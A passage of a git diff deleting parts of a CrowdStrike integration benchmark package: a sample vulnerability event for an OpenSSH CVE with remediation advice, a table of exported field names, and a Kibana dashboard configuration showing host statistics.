OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}", - "type": [ - "info" - ] - }, - "host": { - "id": "897580adb4ab4540a357536faa41de18", - "ip": [ - "1.128.0.0" - ], - "name": "ub24-50-10-154", - "os": { - "name": "Ubuntu 24.04", - "platform": "Linux", - "type": "linux" - } - }, - "input": { - "type": "cel" - }, - "message": "A vulnerability was found in OpenSSH...", - "observer": { - "product": "Falcon sensor", - "type": "sensor", - "vendor": "Crowdstrike" - }, - "package": { - "name": "openssh" - }, - "related": { - "hosts": [ - "ub24-50-10-154" - ], - "ip": [ - "1.128.0.0" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "forwarded", - "crowdstrike-vulnerability" - ], - "vulnerability": { - "description": "A vulnerability was found in OpenSSH...", - "enumeration": "CVE", - "id": "CVE-2025-26465", - "reference": [ - "https://ubuntu.com/security/CVE-2025-26465" - ], - "report_id": [ - "scan-123456" - ], - "scanner": { - "vendor": "Crowdstrike" - }, - "score": { - "base": 6.8 - }, - "severity": "Medium" - } -} -``` - -**Exported fields** - -| Field | Description | Type | -|---|---|---| -| @timestamp | Event timestamp. | date | -| crowdstrike.vulnerability.aid | | keyword | -| crowdstrike.vulnerability.app.product_name_normalized | | keyword | -| crowdstrike.vulnerability.app.product_name_version | | keyword | -| crowdstrike.vulnerability.app.vendor_normalized | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.aid | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.cid | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp | | date | -| crowdstrike.vulnerability.apps.evaluation_logic.data_provider | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.description | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison | | boolean | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items | | nested | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate | | boolean | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.status | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.title | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.logic.type | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate | | boolean | -| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title | | keyword | -| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp | | date | -| crowdstrike.vulnerability.apps.patch_publication_date | | date | -| crowdstrike.vulnerability.apps.product_name_normalized | | keyword | -| crowdstrike.vulnerability.apps.product_name_version | | keyword | -| crowdstrike.vulnerability.apps.remediation.ids | | keyword | -| crowdstrike.vulnerability.apps.remediation_info.minimum_id | | keyword | -| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date | | date | -| crowdstrike.vulnerability.apps.remediation_info.recommended_id | | keyword | -| crowdstrike.vulnerability.apps.sub_status | | keyword | -| crowdstrike.vulnerability.apps.vendor_normalized | | keyword | -| crowdstrike.vulnerability.cid | | keyword | -| crowdstrike.vulnerability.closed_timestamp | | date | -| crowdstrike.vulnerability.confidence | | keyword | -| crowdstrike.vulnerability.created_timestamp | | date | -| crowdstrike.vulnerability.cve.actors | | keyword | -| crowdstrike.vulnerability.cve.base_score | | double | -| crowdstrike.vulnerability.cve.cisa_info.due_date | | date | -| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev | | boolean | -| crowdstrike.vulnerability.cve.cwes | | keyword | -| crowdstrike.vulnerability.cve.description | | keyword | -| crowdstrike.vulnerability.cve.exploit_status | | long | -| crowdstrike.vulnerability.cve.exploitability_score | | double | -| crowdstrike.vulnerability.cve.exprt_rating | | keyword | -| crowdstrike.vulnerability.cve.id | | keyword | -| crowdstrike.vulnerability.cve.impact_score | | double | -| crowdstrike.vulnerability.cve.name | | keyword | -| crowdstrike.vulnerability.cve.published_date | | date | -| crowdstrike.vulnerability.cve.references | | keyword | -| crowdstrike.vulnerability.cve.remediation_level | | keyword | -| crowdstrike.vulnerability.cve.severity | | keyword | -| crowdstrike.vulnerability.cve.spotlight_published_date | | date | -| crowdstrike.vulnerability.cve.types | | keyword | -| crowdstrike.vulnerability.cve.vector | | keyword | -| crowdstrike.vulnerability.cve.vendor_advisory | | keyword | -| crowdstrike.vulnerability.data_providers.ports | | long | -| crowdstrike.vulnerability.data_providers.provider | | keyword | -| crowdstrike.vulnerability.data_providers.rating | | keyword | -| crowdstrike.vulnerability.data_providers.scan_id | | keyword | -| crowdstrike.vulnerability.data_providers.scan_time | | keyword | -| crowdstrike.vulnerability.data_providers.scanner_id | | keyword | -| crowdstrike.vulnerability.host_info.asset_criticality | | keyword | -| crowdstrike.vulnerability.host_info.asset_roles | | keyword | -| crowdstrike.vulnerability.host_info.confidence_label | | keyword | -| crowdstrike.vulnerability.host_info.groups.id | | keyword | -| crowdstrike.vulnerability.host_info.groups.name | | keyword | -| crowdstrike.vulnerability.host_info.has_run_container | | boolean | -| crowdstrike.vulnerability.host_info.host_last_seen_timestamp | | date | -| crowdstrike.vulnerability.host_info.hostname | | keyword | -| crowdstrike.vulnerability.host_info.instance_id | | keyword | -| crowdstrike.vulnerability.host_info.internet_exposure | | keyword | -| crowdstrike.vulnerability.host_info.local_ip | | ip | -| crowdstrike.vulnerability.host_info.machine_domain | | keyword | -| crowdstrike.vulnerability.host_info.managed_by | | keyword | -| crowdstrike.vulnerability.host_info.os_build | | keyword | -| crowdstrike.vulnerability.host_info.os_version | | keyword | -| crowdstrike.vulnerability.host_info.ou | | keyword | -| crowdstrike.vulnerability.host_info.platform | | keyword | -| crowdstrike.vulnerability.host_info.product_type_desc | | keyword | -| crowdstrike.vulnerability.host_info.service_provider | | keyword | -| crowdstrike.vulnerability.host_info.service_provider_account_id | | keyword | -| crowdstrike.vulnerability.host_info.site_name | | keyword | -| crowdstrike.vulnerability.host_info.subsidiaries | | keyword | -| crowdstrike.vulnerability.host_info.system_manufacturer | | keyword | -| crowdstrike.vulnerability.host_info.tags | | keyword | -| crowdstrike.vulnerability.host_info.third_party_asset_ids | | keyword | -| crowdstrike.vulnerability.id | | keyword | -| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id | | keyword | -| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time | | keyword | -| crowdstrike.vulnerability.remediation.entities.action | | keyword | -| crowdstrike.vulnerability.remediation.entities.id | | keyword | -| crowdstrike.vulnerability.remediation.entities.link | | keyword | -| crowdstrike.vulnerability.remediation.entities.patch_publication_date | | date | -| crowdstrike.vulnerability.remediation.entities.recommendation_type | | keyword | -| crowdstrike.vulnerability.remediation.entities.reference | | keyword | -| crowdstrike.vulnerability.remediation.entities.title | | keyword | -| crowdstrike.vulnerability.remediation.entities.vendor_url | | keyword | -| crowdstrike.vulnerability.remediation.ids | | keyword | -| crowdstrike.vulnerability.services.port | | long | -| crowdstrike.vulnerability.services.protocol | | keyword | -| crowdstrike.vulnerability.services.transport | | keyword | -| crowdstrike.vulnerability.status | | keyword | -| crowdstrike.vulnerability.suppression_info.is_suppressed | | boolean | -| crowdstrike.vulnerability.suppression_info.reason | | keyword | -| crowdstrike.vulnerability.updated_timestamp | | date | -| crowdstrike.vulnerability.vulnerability_id | | keyword | -| data_stream.dataset | Data stream dataset. | constant_keyword | -| data_stream.namespace | Data stream namespace. | constant_keyword | -| data_stream.type | Data stream type. | constant_keyword | -| event.dataset | Event dataset. | constant_keyword | -| event.module | Event module. | constant_keyword | -| input.type | Type of filebeat input. | keyword | -| log.offset | Log offset. | long | - diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json deleted file mode 100644 index 0e73c6db93..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json +++ /dev/null @@ -1,747 +0,0 @@ -{ - "attributes": { - "controlGroupInput": { - "chainingSystem": "HIERARCHICAL", - "controlStyle": "oneLine", - "ignoreParentSettingsJSON": { - "ignoreFilters": false, - "ignoreQuery": false, - "ignoreTimerange": false, - "ignoreValidations": false - }, - "panelsJSON": {}, - "showApplySelections": false - }, - "description": "Overview of the CrowdStrike Host Logs.", - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "optionsJSON": { - "hidePanelTitles": false, - "syncColors": false, - "syncCursor": true, - "syncTooltips": false, - "useMargins": true - }, - "panelsJSON": [ - { - "embeddableConfig": { - "enhancements": { - "dynamicActions": { - "events": [] - } - }, - "hidePanelTitles": false, - "savedVis": { - "data": { - "aggs": [], - "searchSource": { - "filter": [], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "description": "", - "id": "", - "params": { - "fontSize": 12, - "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n**Host**\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different hosts collected from the Crowdstrike Host/Device API.\n", - "openLinksInNewTab": false - }, - "title": "", - "type": "markdown", - "uiState": {} - } - }, - "gridData": { - "h": 17, - "i": "2676352c-5dfb-46c3-9c78-243d73fd2176", - "w": 14, - "x": 0, - "y": 0 - }, - "panelIndex": "2676352c-5dfb-46c3-9c78-243d73fd2176", - "title": "Table of Contents", - "type": "visualization" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "200a15f3-d229-4812-ab0c-0241c9ca974e": { - "columnOrder": [ - "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a", - "a73f0321-68b2-4319-9d06-3eb2eb117191" - ], - "columns": { - "a73f0321-68b2-4319-9d06-3eb2eb117191": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Host OS Platform", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "a73f0321-68b2-4319-9d06-3eb2eb117191", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 5 - }, - "scale": "ordinal", - "sourceField": "host.os.platform" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.host" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.host" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "200a15f3-d229-4812-ab0c-0241c9ca974e", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "a73f0321-68b2-4319-9d06-3eb2eb117191" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a" - ], - "truncateLegend": false - } - ], - "shape": "pie" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a", - "w": 16, - "x": 14, - "y": 0 - }, - "panelIndex": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a", - "title": "Host over OS Platform [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "4275918f-e9ad-4439-b16c-190021e6a4dd", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "b6c130c0-83a9-4114-a597-1044d0ee891a": { - "columnOrder": [ - "980e0385-d489-4539-b0c8-3926472b30b0", - "d016ebe9-0bc9-4877-b874-045c3c619a6c" - ], - "columns": { - "980e0385-d489-4539-b0c8-3926472b30b0": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Hostname", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d016ebe9-0bc9-4877-b874-045c3c619a6c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "host.hostname" - }, - "d016ebe9-0bc9-4877-b874-045c3c619a6c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "4275918f-e9ad-4439-b16c-190021e6a4dd", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.host" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.host" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "d016ebe9-0bc9-4877-b874-045c3c619a6c" - ], - "layerId": "b6c130c0-83a9-4114-a597-1044d0ee891a", - "layerType": "data", - "position": "top", - "seriesType": "bar_stacked", - "showGridlines": false, - "xAccessor": "980e0385-d489-4539-b0c8-3926472b30b0" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false, - "showSingleSeries": false - }, - "preferredSeriesType": "bar_stacked", - "title": "Empty XY chart", - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "be658e9b-1f41-424b-a975-ab42befcb77e", - "w": 18, - "x": 30, - "y": 0 - }, - "panelIndex": "be658e9b-1f41-424b-a975-ab42befcb77e", - "title": "Host over Hostname [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "a10dc271-d00d-4766-8ec4-28fe3978afea", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "ae6624d7-cc20-420b-994e-e9da30ce9d7e": { - "columnOrder": [ - "55ced9a5-9461-4aba-a522-92fad79ab843", - "dabab91c-4be8-4356-969c-270e7f21d6ba" - ], - "columns": { - "55ced9a5-9461-4aba-a522-92fad79ab843": { - "customLabel": true, - "dataType": "ip", - "isBucketed": true, - "label": "Host IP", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "dabab91c-4be8-4356-969c-270e7f21d6ba", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "host.ip" - }, - "dabab91c-4be8-4356-969c-270e7f21d6ba": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "a10dc271-d00d-4766-8ec4-28fe3978afea", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.host" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.host" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "dabab91c-4be8-4356-969c-270e7f21d6ba" - ], - "layerId": "ae6624d7-cc20-420b-994e-e9da30ce9d7e", - "layerType": "data", - "position": "top", - "seriesType": "bar_stacked", - "showGridlines": false, - "xAccessor": "55ced9a5-9461-4aba-a522-92fad79ab843" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false, - "showSingleSeries": false - }, - "preferredSeriesType": "bar_stacked", - "title": "Empty XY chart", - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "c5b14462-c4b7-4bc6-b826-592096b235ef", - "w": 24, - "x": 0, - "y": 17 - }, - "panelIndex": "c5b14462-c4b7-4bc6-b826-592096b235ef", - "title": "Host over Host IP [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "de769611-9467-477d-9867-fc74698abdd9", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "c6d62863-d037-4156-a25c-6e4bc06b7885": { - "columnOrder": [ - "eb4c815b-4d40-4169-bba7-5cfd9408ae9a", - "396927e3-233a-4a3a-b459-929dafd53134", - "6e59d96a-2622-45fc-8b9b-ce38c1eb1556" - ], - "columns": { - "396927e3-233a-4a3a-b459-929dafd53134": { - "customLabel": true, - "dataType": "date", - "isBucketed": true, - "label": "Timestamp", - "operationType": "date_histogram", - "params": { - "dropPartials": false, - "includeEmptyRows": true, - "interval": "auto" - }, - "scale": "interval", - "sourceField": "@timestamp" - }, - "6e59d96a-2622-45fc-8b9b-ce38c1eb1556": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "eb4c815b-4d40-4169-bba7-5cfd9408ae9a": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Device ID", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "6e59d96a-2622-45fc-8b9b-ce38c1eb1556", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "device.id" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "de769611-9467-477d-9867-fc74698abdd9", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.host" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.host" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "accessors": [ - "6e59d96a-2622-45fc-8b9b-ce38c1eb1556" - ], - "layerId": "c6d62863-d037-4156-a25c-6e4bc06b7885", - "layerType": "data", - "position": "top", - "seriesType": "bar_stacked", - "showGridlines": false, - "splitAccessor": "eb4c815b-4d40-4169-bba7-5cfd9408ae9a", - "xAccessor": "396927e3-233a-4a3a-b459-929dafd53134" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false, - "showSingleSeries": true - }, - "preferredSeriesType": "bar_stacked", - "title": "Empty XY chart", - "valueLabels": "hide", - "valuesInLegend": true - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "ea96fb11-edf9-470e-a7f9-903b084e1901", - "w": 24, - "x": 24, - "y": 17 - }, - "panelIndex": "ea96fb11-edf9-470e-a7f9-903b084e1901", - "title": "Host over Timestamp [Logs CrowdStrike]", - "type": "lens" - } - ], - "timeRestore": false, - "title": "[Logs CrowdStrike] Host", - "version": 2 - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-01T12:27:20.645Z", - "id": "crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c", - "managed": false, - "references": [ - { - "id": "logs-*", - "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:af92b18a-b19c-4eea-88d7-7eef6ca7cea7", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "be658e9b-1f41-424b-a975-ab42befcb77e:indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "be658e9b-1f41-424b-a975-ab42befcb77e:4275918f-e9ad-4439-b16c-190021e6a4dd", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:a10dc271-d00d-4766-8ec4-28fe3978afea", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:de769611-9467-477d-9867-fc74698abdd9", - "type": "index-pattern" - } - ], - "type": "dashboard", - "typeMigrationVersion": "10.2.0", - "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json deleted file mode 100644 index c45272165a..0000000000 --- 